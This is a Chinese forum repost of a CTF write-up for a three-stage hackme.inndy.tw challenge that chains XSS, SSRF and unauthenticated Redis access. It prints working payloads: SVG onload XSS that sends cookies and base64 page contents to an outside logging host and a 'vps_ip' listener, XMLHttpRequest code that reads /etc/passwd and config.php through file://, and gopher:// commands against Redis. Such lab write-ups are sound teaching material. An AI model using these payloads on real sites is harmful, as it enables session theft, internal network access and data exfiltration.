搜索
查看: 628|回复: 0

XSS的威力:从XSS到SSRF再到Redis

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-8-17 10:16:51 | 显示全部楼层 |阅读模式
原文链接:http://www.anquanke.com/post/id/156377


前言
最近有空,想到曾经刷的
http://hackme.inndy.tw/scoreboard/
还有一组新题没做,于是看了一下,发现是xss->ssrf->redis的,觉得很有趣,于是做了一下,记录一下writeup
以前的web题解可以看这篇文章
http://skysec.top/2018/01/07/hackme%E7%BD%91%E7%AB%99%E8%BE%B9%E5%81%9A%E8%BE%B9%E8%AE%B0%E5%BD%95/
给出本次题目的链接
http://xssrf.hackme.inndy.tw/index.php
xssme
首先是第一关,探查了一下功能,大概4项:
  • 注册
  • 登录
  • 发email
  • 看email
信息搜集
上来扫了波目录
http://xssrf.hackme.inndy.tw/robots.txt
发现信息泄露
User-agent: *Disallow: /config.phpDisallow: /you/cant/read/config.php/can/you?Disallow: /backup.zip
下载压缩包后,发现有密码,猜想应该是要读config.php中的关键信息,才能获得压缩包密码
xss探测
于是回到主题,题目名称既然叫xssme,那么应该就是xss攻击了
于是首先探测一下过滤
[/url]
发现同样不行,那么既然onerror不行,我再试试onload?
<svg onload><svg/onload>
发现似乎没有被过滤,于是尝试payload
<svg/onload="document.location='http://vps_ip:23333'">
收获flag
payload如下:
<svg/onload="document.location='http://ugelgr.ceye.io/?'+document.cookie">
解码后得到
PHPSESSID=9crkuhdqs9b1jkslebpieprr86; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
于是愉快的获得了第一个flag
FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}
并且获得提示,flag2在redis中

xssrf leak
结合题目之前的暗示
[/url]
应该是要以admin身份登入吧,既然有PHPSESSID那我们试试吧
[url=http://p2.ssl.qhimg.com/t016b4662445fe8e77a.png]
很无奈的得到了这样的提示,必须从本地登录
起初我认为需要修改http header,但是尝试了多种都发现不行,后来灵光一闪,一拍脑袋,是不是傻
我们直接利用xss去本地访问,再将页面内容打出来就好了呀!
于是思考到之前的思路
<svg/onload>
构造出
<svg/onload="document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)">document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)
进行编码
尝试payload
解码后保存到本地html里打开
[/url]
没错,是多了一个request.php
那么结合题目意思,应该是有ssrf,我想应该就是利用这里的request.php了吧
那么继续去读这个页面的html
  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5.     if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6.     {
  7.         document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8.     }
  9. }
  10. xmlhttp.open("GET","request.php",true);
  11. xmlhttp.send();
  12. ">
复制代码

经过编码后发送,得到
[/url]
应该xss的点就是在这里了
于是尝试file协议读/etc/passwd
  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5.     if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6.     {
  7.         document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8.     }
  9. }
  10. xmlhttp.open("POST","request.php",true);
  11. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  12. xmlhttp.send("url=file:///etc/passwd");
  13. ">
复制代码


于是直接读config.php
  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5.     if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6.     {
  7.         document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8.     }
  9. }
  10. xmlhttp.open("POST","request.php",true);
  11. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  12. xmlhttp.send("url=file:///var/www/html/config.php");
  13. ">
复制代码

cool,于是我们拿到了第二个flag
FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}
xssrf redis
只剩下最后一步打redis了
这里很容易就想到了gopher未授权访问打redis
上一题提示我们redis再25566端口,于是我们尝试访问一下
  1. <svg/onload="
  2. xmlhttp=new XMLHttpRequest();
  3. xmlhttp.onreadystatechange=function()
  4. {
  5.     if (xmlhttp.readyState==4 && xmlhttp.status==200)
  6.     {
  7.         document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
  8.     }
  9. }
  10. xmlhttp.open("POST","request.php",true);
  11. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  12. xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a_quit");
  13. ">
复制代码

于是愉快的打出信息,发现果然是未授权访问
[/url]
xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");
发现了flag
然后我们尝试读取
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit");
发现报错
[/url]
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");
[url=http://p3.ssl.qhimg.com/t01c56b570a1f671daa.png]发现是个list
那我们看看长度
xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag%250a_quit");xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");
我们把它拼接起来
[url=http://p2.ssl.qhimg.com/t01584c35dc674b052a.png][/url]
so cool
得到最后的flag
FLAG{Rediswithout authentication is easy to exploit}
后记
此题结束后,我对XSS的观点有了巨大的改变= =,实在是太强了


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表